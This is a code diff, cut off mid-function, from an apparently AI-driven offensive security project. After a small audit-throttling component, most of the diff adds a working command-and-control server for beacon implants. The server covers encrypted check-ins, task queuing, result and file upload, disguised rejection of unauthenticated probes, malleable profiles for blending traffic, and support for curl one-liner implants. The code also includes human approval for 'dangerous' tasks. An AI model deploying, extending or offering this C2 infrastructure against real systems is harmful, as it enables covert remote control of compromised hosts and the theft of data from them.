func (s *Service) allowFailureAudit(c *gin.Context, e Entry) bool {
|
||||
if !isAuthFailureThrottled(e.Category, e.Action) {
|
||||
return true
|
||||
}
|
||||
cooldown := time.Duration(s.cfg.Audit.AuthFailureCooldownEffective()) * time.Second
|
||||
key := authFailureThrottleKey(e.Category, e.Action, clientIP(c))
|
||||
return s.failThrottle.allow(key, cooldown)
|
||||
}
|
||||
|
||||
func clientIP(c *gin.Context) string {
|
||||
if c == nil {
|
||||
return ""
|
||||
}
|
||||
return c.ClientIP()
|
||||
}
|
||||
|
||||
func userAgent(c *gin.Context) string {
|
||||
if c == nil {
|
||||
return ""
|
||||
}
|
||||
ua := c.GetHeader("User-Agent")
|
||||
if len(ua) > 512 {
|
||||
return ua[:512]
|
||||
}
|
||||
return ua
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package audit
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// failureThrottle deduplicates high-frequency failure audit rows (e.g. wrong password).
|
||||
type failureThrottle struct {
|
||||
mu sync.Mutex
|
||||
last map[string]time.Time
|
||||
}
|
||||
|
||||
func newFailureThrottle() *failureThrottle {
|
||||
return &failureThrottle{last: make(map[string]time.Time)}
|
||||
}
|
||||
|
||||
// allow reports whether a row with the given key may be written now.
|
||||
func (t *failureThrottle) allow(key string, cooldown time.Duration) bool {
|
||||
if t == nil || cooldown <= 0 || key == "" {
|
||||
return true
|
||||
}
|
||||
now := time.Now()
|
||||
t.mu.Lock()
|
||||
defer t.mu.Unlock()
|
||||
if prev, ok := t.last[key]; ok && now.Sub(prev) < cooldown {
|
||||
return false
|
||||
}
|
||||
t.last[key] = now
|
||||
if len(t.last) > 4096 {
|
||||
for k, ts := range t.last {
|
||||
if now.Sub(ts) > cooldown*2 {
|
||||
delete(t.last, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// authFailureThrottleKey builds a per-IP key for auth failure deduplication.
|
||||
func authFailureThrottleKey(category, action, clientIP string) string {
|
||||
return category + ":" + action + ":" + clientIP
|
||||
}
|
||||
|
||||
func isAuthFailureThrottled(category, action string) bool {
|
||||
if category != "auth" {
|
||||
return false
|
||||
}
|
||||
switch action {
|
||||
case "login", "change_password":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package audit
|
||||
|
||||
// Entry describes one platform audit record (not chat/tool execution bodies).
|
||||
type Entry struct {
|
||||
Level string
|
||||
Category string
|
||||
Action string
|
||||
Result string // success | failure
|
||||
Actor string
|
||||
SessionHint string
|
||||
ResourceType string
|
||||
ResourceID string
|
||||
Message string
|
||||
Detail map[string]interface{}
|
||||
ClientIP string // optional when c is nil (robot, batch, DB hook)
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// ResolveBeaconDialHost 决定植入端应连接的主机名(不含端口)。
|
||||
// 优先级:explicitOverride > 监听器 config_json 中的 callback_host > bind_host(0.0.0.0/::/空 时 detectExternalIP,失败则 127.0.0.1)。
|
||||
func ResolveBeaconDialHost(listener *database.C2Listener, explicitOverride string, logger *zap.Logger, listenerID string) string {
|
||||
if h := strings.TrimSpace(explicitOverride); h != "" {
|
||||
return h
|
||||
}
|
||||
cfg := &ListenerConfig{}
|
||||
if listener != nil && listener.ConfigJSON != "" {
|
||||
_ = parseJSON(listener.ConfigJSON, cfg)
|
||||
}
|
||||
if h := strings.TrimSpace(cfg.CallbackHost); h != "" {
|
||||
return h
|
||||
}
|
||||
if listener == nil {
|
||||
return "127.0.0.1"
|
||||
}
|
||||
host := strings.TrimSpace(listener.BindHost)
|
||||
if host == "0.0.0.0" || host == "" || host == "::" {
|
||||
host = detectExternalIP()
|
||||
if host == "" {
|
||||
if logger != nil {
|
||||
logger.Warn("listener binds 0.0.0.0 but no external IP detected, falling back to 127.0.0.1; set callback_host or pass explicit host",
|
||||
zap.String("listener_id", listenerID))
|
||||
}
|
||||
return "127.0.0.1"
|
||||
}
|
||||
}
|
||||
return host
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// AES-256-GCM 信封:每个 Listener 独立 32 字节密钥 + 每条消息独立 12 字节 nonce。
|
||||
// 协议格式(base64 文本,便于 HTTP body / SSE 直接传):
|
||||
// base64( nonce(12) || ciphertext+tag )
|
||||
// 设计要点:
|
||||
// - GCM 自带 16 字节 AEAD tag,完整性 + 机密性一次性搞定,无需额外 HMAC;
|
||||
// - nonce 由 crypto/rand 生成,96bit 在密钥不变期内重复概率极低(< 2^-32 / 4B 次);
|
||||
// - 密钥不出服务端:listener 创建时随机生成 32 字节,编译 beacon 时硬编码进去。
|
||||
|
||||
// GenerateAESKey 生成随机 32 字节 AES-256 密钥并 base64 输出
|
||||
func GenerateAESKey() (string, error) {
|
||||
key := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(key), nil
|
||||
}
|
||||
|
||||
// GenerateImplantToken 生成 32 字节 token,base64 编码(implant 携带在 HTTP header 鉴权用)
|
||||
func GenerateImplantToken() (string, error) {
|
||||
t := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, t); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.RawURLEncoding.EncodeToString(t), nil
|
||||
}
|
||||
|
||||
// EncryptAESGCM 加密任意明文,返回 base64(nonce||ct)
|
||||
func EncryptAESGCM(keyB64 string, plaintext []byte) (string, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := gcm.Seal(nil, nonce, plaintext, nil)
|
||||
out := append(nonce, ct...)
|
||||
return base64.StdEncoding.EncodeToString(out), nil
|
||||
}
|
||||
|
||||
// DecryptAESGCM 解密 base64(nonce||ct),返回明文
|
||||
func DecryptAESGCM(keyB64, encB64 string) ([]byte, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(encB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("ciphertext base64 invalid")
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(raw) < nonceSize+16 { // 至少 nonce + tag
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
nonce, ct := raw[:nonceSize], raw[nonceSize:]
|
||||
pt, err := gcm.Open(nil, nonce, ct, nil)
|
||||
if err != nil {
|
||||
return nil, errors.New("aead open failed (key mismatch or tampered)")
|
||||
}
|
||||
return pt, nil
|
||||
}
|
||||
|
||||
// EncryptAESGCMWithAAD encrypts with additional authenticated data bound to context (e.g. session_id).
|
||||
// Prevents cross-session replay: ciphertext from session A cannot be fed to session B.
|
||||
func EncryptAESGCMWithAAD(keyB64 string, plaintext []byte, aad []byte) (string, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := gcm.Seal(nil, nonce, plaintext, aad)
|
||||
out := append(nonce, ct...)
|
||||
return base64.StdEncoding.EncodeToString(out), nil
|
||||
}
|
||||
|
||||
// DecryptAESGCMWithAAD decrypts with AAD verification.
|
||||
func DecryptAESGCMWithAAD(keyB64, encB64 string, aad []byte) ([]byte, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(encB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("ciphertext base64 invalid")
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(raw) < nonceSize+16 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
nonce, ct := raw[:nonceSize], raw[nonceSize:]
|
||||
pt, err := gcm.Open(nil, nonce, ct, aad)
|
||||
if err != nil {
|
||||
return nil, errors.New("aead open failed (key mismatch, tampered, or AAD mismatch)")
|
||||
}
|
||||
return pt, nil
|
||||
}
|
||||
|
||||
func decodeKey(keyB64 string) ([]byte, error) {
|
||||
key, err := base64.StdEncoding.DecodeString(keyB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("key base64 invalid")
|
||||
}
|
||||
if len(key) != 32 {
|
||||
return nil, errors.New("key must be 32 bytes (AES-256)")
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Event 是 EventBus 内部传输的事件单元,是 database.C2Event 的"实时投影"。
|
||||
// 区别在于:
|
||||
// - 数据库表保存全部历史,用于审计与列表分页;
|
||||
// - EventBus 只缓存最近 N 条,用于 SSE/WS 实时推送给在线订阅者。
|
||||
type Event struct {
|
||||
ID string `json:"id"`
|
||||
Level string `json:"level"`
|
||||
Category string `json:"category"`
|
||||
SessionID string `json:"sessionId,omitempty"`
|
||||
TaskID string `json:"taskId,omitempty"`
|
||||
Message string `json:"message"`
|
||||
Data map[string]interface{} `json:"data,omitempty"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
}
|
||||
|
||||
// EventBus 简单的内存广播总线。
|
||||
// 设计要点:
|
||||
// - 多订阅者:每个订阅者有独立 buffered channel,慢消费者不会阻塞 publisher;
|
||||
// - 容量满即丢弃:发布端绝不阻塞,避免 listener accept loop / beacon handler 卡住;
|
||||
// - 全局过滤:订阅时可限定 SessionID/Category,前端按需订阅,省 CPU;
|
||||
// - 关闭安全:Close() 后所有订阅者 chan 关闭,防止 goroutine 泄漏。
|
||||
type EventBus struct {
|
||||
mu sync.RWMutex
|
||||
subscribers map[string]*Subscription
|
||||
closed bool
|
||||
}
|
||||
|
||||
// Subscription 订阅句柄
|
||||
type Subscription struct {
|
||||
ID string
|
||||
Ch chan *Event
|
||||
SessionID string // 空表示不限制
|
||||
Category string // 空表示不限制
|
||||
Levels map[string]struct{}
|
||||
dropCount atomic.Int64
|
||||
}
|
||||
|
||||
// NewEventBus 创建总线
|
||||
func NewEventBus() *EventBus {
|
||||
return &EventBus{subscribers: make(map[string]*Subscription)}
|
||||
}
|
||||
|
||||
// Subscribe 注册订阅者;返回 Subscription,调用方负责后续 Unsubscribe。
|
||||
// - bufferSize:单订阅者 channel 容量,建议 64~256;
|
||||
// - sessionFilter / categoryFilter:空字符串=不限;
|
||||
// - levelFilter:[]string{"warn","critical"} 这类,nil/空表示全收。
|
||||
func (b *EventBus) Subscribe(id string, bufferSize int, sessionFilter, categoryFilter string, levelFilter []string) *Subscription {
|
||||
if bufferSize <= 0 {
|
||||
bufferSize = 128
|
||||
}
|
||||
sub := &Subscription{
|
||||
ID: id,
|
||||
Ch: make(chan *Event, bufferSize),
|
||||
SessionID: sessionFilter,
|
||||
Category: categoryFilter,
|
||||
}
|
||||
if len(levelFilter) > 0 {
|
||||
sub.Levels = make(map[string]struct{}, len(levelFilter))
|
||||
for _, l := range levelFilter {
|
||||
sub.Levels[l] = struct{}{}
|
||||
}
|
||||
}
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if b.closed {
|
||||
close(sub.Ch)
|
||||
return sub
|
||||
}
|
||||
b.subscribers[id] = sub
|
||||
return sub
|
||||
}
|
||||
|
||||
// Unsubscribe 注销订阅者并关闭 channel
|
||||
func (b *EventBus) Unsubscribe(id string) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if sub, ok := b.subscribers[id]; ok {
|
||||
delete(b.subscribers, id)
|
||||
close(sub.Ch)
|
||||
}
|
||||
}
|
||||
|
||||
// Publish 广播事件给所有订阅者;非阻塞,channel 满时静默丢弃
|
||||
func (b *EventBus) Publish(e *Event) {
|
||||
if e == nil {
|
||||
return
|
||||
}
|
||||
b.mu.RLock()
|
||||
subs := make([]*Subscription, 0, len(b.subscribers))
|
||||
for _, s := range b.subscribers {
|
||||
if s.matches(e) {
|
||||
subs = append(subs, s)
|
||||
}
|
||||
}
|
||||
closed := b.closed
|
||||
b.mu.RUnlock()
|
||||
if closed {
|
||||
return
|
||||
}
|
||||
for _, s := range subs {
|
||||
select {
|
||||
case s.Ch <- e:
|
||||
default:
|
||||
s.dropCount.Add(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close 关闭总线,停止所有订阅
|
||||
func (b *EventBus) Close() {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if b.closed {
|
||||
return
|
||||
}
|
||||
b.closed = true
|
||||
for id, s := range b.subscribers {
|
||||
close(s.Ch)
|
||||
delete(b.subscribers, id)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Subscription) matches(e *Event) bool {
|
||||
if s.SessionID != "" && e.SessionID != s.SessionID {
|
||||
return false
|
||||
}
|
||||
if s.Category != "" && e.Category != s.Category {
|
||||
return false
|
||||
}
|
||||
if len(s.Levels) > 0 {
|
||||
if _, ok := s.Levels[e.Level]; !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package c2
|
||||
|
||||
import "context"
|
||||
|
||||
type hitlRunCtxKey struct{}
|
||||
|
||||
// WithHITLRunContext 将 runCtx(通常为整条 Agent / SSE 请求生命周期)挂到传入的 ctx 上。
|
||||
// MCP 工具 handler 收到的 ctx 可能是带单次工具超时的子 context,在工具 return 时会被 cancel;
|
||||
// 危险任务 HITL 应通过 HITLUserContext 使用 runCtx 等待人工审批。
|
||||
func WithHITLRunContext(ctx, runCtx context.Context) context.Context {
|
||||
if ctx == nil || runCtx == nil {
|
||||
return ctx
|
||||
}
|
||||
return context.WithValue(ctx, hitlRunCtxKey{}, runCtx)
|
||||
}
|
||||
|
||||
// HITLUserContext 返回用于 C2 危险任务 HITL 等待的 context:
|
||||
// 若曾用 WithHITLRunContext 注入更长寿命的 runCtx 则返回之,否则返回 ctx。
|
||||
func HITLUserContext(ctx context.Context) context.Context {
|
||||
if ctx == nil {
|
||||
return context.Background()
|
||||
}
|
||||
if v := ctx.Value(hitlRunCtxKey{}); v != nil {
|
||||
if run, ok := v.(context.Context); ok && run != nil {
|
||||
return run
|
||||
}
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
)
|
||||
|
||||
// 这些薄封装存在的目的:
|
||||
// - 让 manager.go / handler 中的逻辑更直观,避免反复 import os;
|
||||
// - 便于将来用接口抽象(譬如改成 internal/storage 的实现)做单元测试。
|
||||
|
||||
func osMkdirAll(path string, perm os.FileMode) error {
|
||||
return os.MkdirAll(path, perm)
|
||||
}
|
||||
|
||||
func osWriteFile(path string, data []byte, perm os.FileMode) error {
|
||||
return os.WriteFile(path, data, perm)
|
||||
}
|
||||
|
||||
func base64Decode(s string) ([]byte, error) {
|
||||
return base64.StdEncoding.DecodeString(s)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Listener 监听器抽象:每种传输方式(TCP/HTTP/HTTPS/WS/DNS)都实现此接口;
|
||||
// Manager 不感知具体实现细节,通过 ListenerRegistry 工厂创建。
|
||||
type Listener interface {
|
||||
// Type 返回当前 listener 的类型字符串(如 "tcp_reverse")
|
||||
Type() string
|
||||
// Start 启动监听;如果端口被占用应返回 ErrPortInUse
|
||||
Start() error
|
||||
// Stop 停止监听并释放所有相关 goroutine(不应抛 panic)
|
||||
Stop() error
|
||||
}
|
||||
|
||||
// ListenerCreationCtx 工厂初始化 listener 时收到的上下文
|
||||
type ListenerCreationCtx struct {
|
||||
Listener *database.C2Listener
|
||||
Config *ListenerConfig
|
||||
Manager *Manager
|
||||
Logger *zap.Logger
|
||||
}
|
||||
|
||||
// ListenerFactory 创建 listener 实例的工厂;返回的实例尚未 Start
|
||||
type ListenerFactory func(ctx ListenerCreationCtx) (Listener, error)
|
||||
|
||||
// ListenerRegistry 类型 → 工厂 的注册表,由 internal/app 启动时注册具体实现,
|
||||
// 测试中也可注入 mock 工厂来覆盖。
|
||||
type ListenerRegistry struct {
|
||||
mu sync.RWMutex
|
||||
factories map[string]ListenerFactory
|
||||
}
|
||||
|
||||
// NewListenerRegistry 创建空注册表
|
||||
func NewListenerRegistry() *ListenerRegistry {
|
||||
return &ListenerRegistry{factories: make(map[string]ListenerFactory)}
|
||||
}
|
||||
|
||||
// Register 注册一种 listener 工厂
|
||||
func (r *ListenerRegistry) Register(typeName string, f ListenerFactory) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.factories[strings.ToLower(strings.TrimSpace(typeName))] = f
|
||||
}
|
||||
|
||||
// Get 取工厂;nil 表示未注册
|
||||
func (r *ListenerRegistry) Get(typeName string) ListenerFactory {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.factories[strings.ToLower(strings.TrimSpace(typeName))]
|
||||
}
|
||||
|
||||
// RegisteredTypes 列出已注册的类型,给前端枚举用
|
||||
func (r *ListenerRegistry) RegisteredTypes() []string {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]string, 0, len(r.factories))
|
||||
for k := range r.factories {
|
||||
out = append(out, k)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,549 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/subtle"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/big"
|
||||
mrand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// HTTPBeaconListener 实现 HTTP/HTTPS Beacon:
|
||||
// - beacon 端定期 POST {checkin_path}(携带 implant_token + AES 加密 body);
|
||||
// - 服务端解密、登记会话、回执 sleep + 是否有任务;
|
||||
// - beacon 收到 has_tasks=true 时 GET {tasks_path} 拉取加密任务列表;
|
||||
// - 任务完成后 POST {result_path} 回传结果。
|
||||
//
|
||||
// 优势:所有任务异步、可批量、支持文件上传/截图/任意大 blob,是 C2 的"主战场"。
|
||||
type HTTPBeaconListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
useTLS bool
|
||||
profile *database.C2Profile
|
||||
|
||||
srv *http.Server
|
||||
mu sync.Mutex
|
||||
stopCh chan struct{}
|
||||
stopped bool
|
||||
}
|
||||
|
||||
// NewHTTPBeaconListener 工厂(注册到 ListenerRegistry["http_beacon"])
|
||||
func NewHTTPBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &HTTPBeaconListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
useTLS: false,
|
||||
stopCh: make(chan struct{}),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// NewHTTPSBeaconListener 工厂(注册到 ListenerRegistry["https_beacon"])
|
||||
func NewHTTPSBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &HTTPBeaconListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
useTLS: true,
|
||||
stopCh: make(chan struct{}),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 类型字符串
|
||||
func (l *HTTPBeaconListener) Type() string {
|
||||
if l.useTLS {
|
||||
return string(ListenerTypeHTTPSBeacon)
|
||||
}
|
||||
return string(ListenerTypeHTTPBeacon)
|
||||
}
|
||||
|
||||
// Start 起 HTTP server
|
||||
func (l *HTTPBeaconListener) Start() error {
|
||||
// Load Malleable Profile if configured
|
||||
l.loadProfile()
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc(l.cfg.BeaconCheckInPath, l.withProfileHeaders(l.handleCheckIn))
|
||||
mux.HandleFunc(l.cfg.BeaconTasksPath, l.withProfileHeaders(l.handleTasks))
|
||||
mux.HandleFunc(l.cfg.BeaconResultPath, l.withProfileHeaders(l.handleResult))
|
||||
mux.HandleFunc(l.cfg.BeaconUploadPath, l.withProfileHeaders(l.handleUpload))
|
||||
mux.HandleFunc(l.cfg.BeaconFilePath, l.withProfileHeaders(l.handleFileServe))
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
l.srv = &http.Server{
|
||||
Addr: addr,
|
||||
Handler: mux,
|
||||
ReadHeaderTimeout: 15 * time.Second,
|
||||
ReadTimeout: 60 * time.Second,
|
||||
WriteTimeout: 120 * time.Second,
|
||||
IdleTimeout: 300 * time.Second,
|
||||
}
|
||||
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
if l.useTLS {
|
||||
tlsConfig, err := l.buildTLSConfig()
|
||||
if err != nil {
|
||||
_ = ln.Close()
|
||||
return fmt.Errorf("build TLS config: %w", err)
|
||||
}
|
||||
l.srv.TLSConfig = tlsConfig
|
||||
go func() {
|
||||
if err := l.srv.ServeTLS(ln, "", ""); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("https_beacon ServeTLS exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
} else {
|
||||
go func() {
|
||||
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("http_beacon Serve exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 关闭
|
||||
func (l *HTTPBeaconListener) Stop() error {
|
||||
l.mu.Lock()
|
||||
if l.stopped {
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
l.stopped = true
|
||||
close(l.stopCh)
|
||||
l.mu.Unlock()
|
||||
if l.srv != nil {
|
||||
ctx, cancel := contextWithTimeout(5 * time.Second)
|
||||
defer cancel()
|
||||
_ = l.srv.Shutdown(ctx)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// HTTP handlers
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 1<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试 AES-GCM 解密(完整 beacon 二进制走加密通道)
|
||||
var req ImplantCheckInRequest
|
||||
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if decErr == nil {
|
||||
if err := json.Unmarshal(plaintext, &req); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// 解密失败:尝试当作明文 JSON(兼容 curl oneliner 等轻量级客户端)
|
||||
if err := json.Unmarshal(body, &req); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
}
|
||||
isPlaintext := decErr != nil
|
||||
|
||||
if req.UserAgent == "" {
|
||||
req.UserAgent = r.UserAgent()
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
// curl oneliner 可能不携带完整字段,用 remote IP + listener ID 生成稳定标识
|
||||
host, _, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
if strings.TrimSpace(req.ImplantUUID) == "" {
|
||||
// 基于 IP + listener ID 生成稳定 UUID,同一 IP 多次 check_in 复用同一会话
|
||||
req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID))
|
||||
}
|
||||
if strings.TrimSpace(req.Hostname) == "" {
|
||||
req.Hostname = "curl_" + host
|
||||
}
|
||||
if strings.TrimSpace(req.InternalIP) == "" {
|
||||
req.InternalIP = host
|
||||
}
|
||||
if strings.TrimSpace(req.OS) == "" {
|
||||
req.OS = "unknown"
|
||||
}
|
||||
if strings.TrimSpace(req.Arch) == "" {
|
||||
req.Arch = "unknown"
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
http.Error(w, "ingest failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: session.ID,
|
||||
Status: string(TaskQueued),
|
||||
Limit: 1,
|
||||
})
|
||||
resp := ImplantCheckInResponse{
|
||||
SessionID: session.ID,
|
||||
NextSleep: session.SleepSeconds,
|
||||
NextJitter: session.JitterPercent,
|
||||
HasTasks: len(queued) > 0,
|
||||
ServerTime: time.Now().UnixMilli(),
|
||||
}
|
||||
if isPlaintext {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
sessionID := r.URL.Query().Get("session_id")
|
||||
if sessionID == "" {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
session, err := l.manager.DB().GetC2Session(sessionID)
|
||||
if err != nil || session == nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
|
||||
if err != nil {
|
||||
http.Error(w, "pop tasks failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if envelopes == nil {
|
||||
envelopes = []TaskEnvelope{}
|
||||
}
|
||||
resp := map[string]interface{}{"tasks": envelopes}
|
||||
if l.isPlaintextClient(r) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 64<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var report TaskResultReport
|
||||
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if decErr == nil {
|
||||
if err := json.Unmarshal(plaintext, &report); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
if err := json.Unmarshal(body, &report); err != nil {
|
||||
